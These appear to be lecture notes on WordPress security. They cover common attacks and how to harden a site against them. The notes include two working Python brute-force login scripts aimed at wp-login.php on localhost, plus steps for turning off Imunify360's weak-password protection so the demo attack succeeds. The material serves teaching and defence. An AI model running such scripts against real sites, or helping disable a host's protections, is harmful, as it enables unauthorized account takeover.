WordPress Web Security Optimization
How Hackers Attack WordPress (Explained Theoretically)
Attackers commonly use:
1. Brute Force Attacks
- Automated password guessing
- Exploit weak login credentials
2. Upload-based attacks
- Vulnerable plugins allow file uploads
- Attackers upload PHP shell → full takeover
3. SQL Injection
- Rare in modern WP core
- But many custom plugins/themes accidentally allow it
4. Cross-Site Scripting (XSS)
- Inject JS into comments/forms
- Steal admin cookies
- Hijack admin session
5. Unsecured REST API
- Exposes usernames
- Attackers enumerate authors
- Then try login brute force
6. Outdated plugin vulnerabilities
99% of WP hacks come from:
- Old plugins
- Null themes
- Abandoned plugins
7. XML-RPC Abuse
Used for:
- Brute force
- DDoS
- Pingback attacks
After Demonstration: How to Secure the Website
- Disable file editor
- Disable XML-RPC
- Install firewall plugin
- Add security headers
- Use strong passwords
- Limit login attempts
- Keep everything updated
- Remove unused themes & plugins
- Block author enumeration
- Restrict file upload types
Login Brute-Force Attacks
In real life, attackers use:
- botnets
- automated scripts
- credential dictionaries
- leaked password databases
Browser-based Brute Force (Manual)
(This is good for explaining the concept)
- Open wp-login.php
- Try wrong passwords repeatedly
- Show how WordPress does NOT block you by default
- Show that login attempts are unlimited
- Show no CAPTCHA, no throttling, no lockouts
Use a Simple Python Script on Windows
This is the BEST realistic demo without hacking tools.
Requirements
- Python installed
- Your own WordPress site (localhost or test domain)
Ethical note
This script ONLY targets your own site. Never use it outside controlled training.
Python Brute Force Demo Script
Create a file: bruteforce_demo.py
import requests
url = "http://localhost/wp-login.php" # change to your URL
username = "admin"
password_list = [
"123456",
"password",
"admin",
"admin123",
"letmein",
"qwerty"
]
session = requests.Session()
for password in password_list:
print(f"Trying password: {password}")
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "http://localhost/wp-admin/",
"testcookie": "1"
}
response = session.post(url, data=data)
if "dashboard" in response.text.lower():
print(f"\nSUCCESS! Password found: {password}")
break
else:
print("\nPassword NOT found in list.")
You’re seeing this message because your hosting provider’s server (cPanel/CloudLinux with Imunify360) is blocking weak-password logins before WordPress even receives the request.

because:
- Imunify360 intercepts all login attempts
- It checks the password against the hacker dictionary
- If password is weak → it blocks the request before WordPress processes it
- WordPress never sees the login request → your Python script also fails
This is a server-level protection, not a WordPress feature.
If you have cPanel with Imunify360, disable this feature:
Steps:
- Login to cPanel
- Scroll to Imunify360
- Open Settings
- Go to Users or Malware → Proactive Defense
- Find this option:
“Weak Password Protection” - Turn it OFF
Now:
- WordPress will receive the login request
- Weak logins will be allowed
- Your brute-force script WILL work
⚠️ After the lecture, TURN IT BACK ON.
Use a Strong Admin Password but Attack a Fake User
Imunify360 only blocks “weak” passwords.
So you can bypass it like this:
Step 1 — Create a user:
- Username: testuser
- Password: myStrongPassword@2025
(so Imunify360 won’t block it)
Step 2 — Attack this strong password user with brute-force
But the brute-force will take longer unless you use a short password list.
For demo:
Use a dictionary where the correct password is present in the last few lines
wp_bruteforce_safe_demo.py
import requests
import time
# ======================
# CONFIGURATION
# ======================
WP_LOGIN_URL = "http://localhost/wp-login.php" # Change to your URL
USERNAME = "testuser" # Your test username
# IMPORTANT:
# Put the actual strong password as the LAST item in this list
PASSWORD_LIST = [
"Password1",
"Qwerty@123",
"LetmeIn2023",
"Admin@2024",
"MyTestPass@2025",
"FindXAcademy@2025!", # <-- correct password placed last for demo
]
# ======================
# START ATTACK (safe)
# ======================
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Demo Script)"
}
print(f"[*] Starting brute-force test on: {WP_LOGIN_URL}")
print(f"[*] Target username: {USERNAME}")
print(f"[*] Total passwords to try: {len(PASSWORD_LIST)}\n")
for password in PASSWORD_LIST:
print(f"[+] Trying password: {password}")
data = {
"log": USERNAME,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "http://localhost/wp-admin/",
"testcookie": "1"
}
response = session.post(WP_LOGIN_URL, data=data, headers=headers, allow_redirects=True)
# Detect login success through redirect or dashboard keyword
if "wp-admin/profile.php" in response.url or "Dashboard" in response.text:
print("\n=====================================")
print("🎉 SUCCESSFUL LOGIN FOUND!")
print(f"Username: {USERNAME}")
print(f"Password: {password}")
print("=====================================\n")
break
# Avoid triggering rate limits
time.sleep(1)
else:
print("\n[-] No password matched from the list.")
Result Should be Like

How to Prevent Brute-Force Attacks in WordPress
1. Use Strong Passwords (Most Important Defense)
Weak passwords like admin123 or password are instantly defeated.
Strong passwords defeat brute-force attacks because:
- Attack complexity → exponential
- Attack time → becomes unrealistic
- Wordlists → do not contain your custom structure
2. Enable Two-Factor Authentication (2FA)
Even if a brute-force attack succeeds, login will still require:
- OTP
- Authenticator app code
- Email code
- SMS code
Recommended tools:
- Wordfence Login Security
- Google Authenticator plugin
- Jetpack Protect
2FA blocks 100% of brute-force attacks.
3. Limit Login Attempts (Rate Limiting)
WordPress by default allows infinite attempts, which makes brute-force possible.
Use any of these plugins:
- Limit Login Attempts Reloaded
- Wordfence
- WP Cerber
- iThemes Security
Typical settings:
- Max attempts: 3
- Lockout time: 30 minutes
- IP block duration: 24 hours
- Optional: permanent block after 5 lockouts
This makes brute-force attacks too slow to succeed.
4. Hide / Rename the wp-login.php Page
Bots target:
/wp-login.php
/wp-admin/
If you change login URL:
- Bots cannot find your login screen
- Attack volume drops by 99%
Tools:
- WPS Hide Login
- iThemes Security “Hide Backend”
- All-In-One WP Security
Examples:
yourwebsite.com/go-admin/
yourwebsite.com/findx-login
5. Block Username Enumeration
Attackers gather valid usernames first, then brute-force the passwords.
https://yourwebsite.com/?author=1
https://yourwebsite.com/wp-json/wp/v2/users
Disable methods:
- REST API
/wp-json/wp/v2/users /?author=1query- XML-RPC
Option 01 – Temporary plugin for demo
Install plugin:
- Disable REST API
- WP Hardening
- iThemes Security
Turn OFF:
- “Expose Users Endpoint”
- “Author Archives”
Option 02 – Add this code to functions.php (safe):
add_filter('rest_endpoints', function($endpoints){
if (isset($endpoints['/wp/v2/users'])) {
unset($endpoints['/wp/v2/users']);
}
return $endpoints;
});
6. Disable XML-RPC (a common brute-force vector)
XML-RPC allows 1000+ password attempts in one request, making brute-force fast.
https://yourwebsite.com/xmlrpc.php
Why is XML-RPC dangerous?
XML-RPC allows multi-call authentication, meaning:
An attacker can send 1000+ password guesses in ONE SINGLE request.
This is far faster than brute-forcing wp-login.php.
Show XML-RPC enabled
Open browser:
https://yourwebsite.com/xmlrpc.php
The server responds:
XML-RPC server accepts POST requests only.
Explain:
- This means XML-RPC is active
- Hackers can target it
Disable using:
Disable XML-RPC
Show in live site:
Option 1 — Plugin
Install:
- Disable XML-RPC
- WP Hardening
- Wordfence
Toggle:
✔ Disable XML-RPC fully
Option 2 — .htaccess block
Show students this line:
<Files xmlrpc.php>
Order deny,allow
Deny from all
</Files>
Refresh browser:
yourwebsite.com/xmlrpc.php
Now it should show:
- 403 Forbidden
- or 404 Not Found
7. Use a Web Application Firewall (WAF)
A WAF protects you even before the request reaches WordPress.
Top options:
- Cloudflare WAF (free/paid)
- Imunify360 (server-level)
- Wordfence Firewall
Benefits:
- IP reputation blocking
- Bot detection
- Rate-limiting
- Country blocking
- SQL/XSS protection
WAF blocks mass automated brute-force globally.
8. Set Up Captcha / reCAPTCHA
Bots struggle to solve CAPTCHA.
Plugins:
- Google reCAPTCHA
- Wordfence 2FA + CAPTCHA
- Limit Login Attempts + CAPTCHA
Which Methods Are the MOST Powerful? (Top 5)
- Strong password
- 2FA
- Limit login attempts
- Block username enumeration
- Disable XML-RPC
These alone stop 99% of brute-force attacks.
Summary of Preventing Brute-force Attacks
Preventing Brute-force Attacks
- Use strong passwords
- Enable 2FA
- Limit login attempts (rate limiting)
- Change login URL (/wp-login.php)
- Disable XML-RPC
- Block username enumeration
- Use Cloudflare/Wordfence firewall
- Add CAPTCHA
- Monitor failed logins
What Is an Upload-Based Attack
Attackers try to upload malicious files through:
- Media uploader
- File upload forms
- Custom plugin upload fields
- Contact form attachments
- Theme/plugin upload features
- Import/export functionality
The goal is to upload:
- PHP backdoor shell
- Malware
- Webshell (.php)
- Reverse shell script
- Obfuscated PHP code inside images (polyglot)
- JavaScript malware
- ZIP archives containing .php
Once uploaded, they can:
✔ Execute code
✔ Take over the website
✔ Add admin users
✔ Modify files
✔ Steal data
✔ Deface the site
How to Prevent Upload-Based Attacks (ALL METHODS)
Disable PHP execution in Uploads folder
Create a file:
wp-content/uploads/.htaccess
<Files *.php>
deny from all
</Files>
This prevents any PHP file inside uploads from running.
Even if an attacker uploads evil.php, it becomes harmless.
💡 This is the strongest defense.
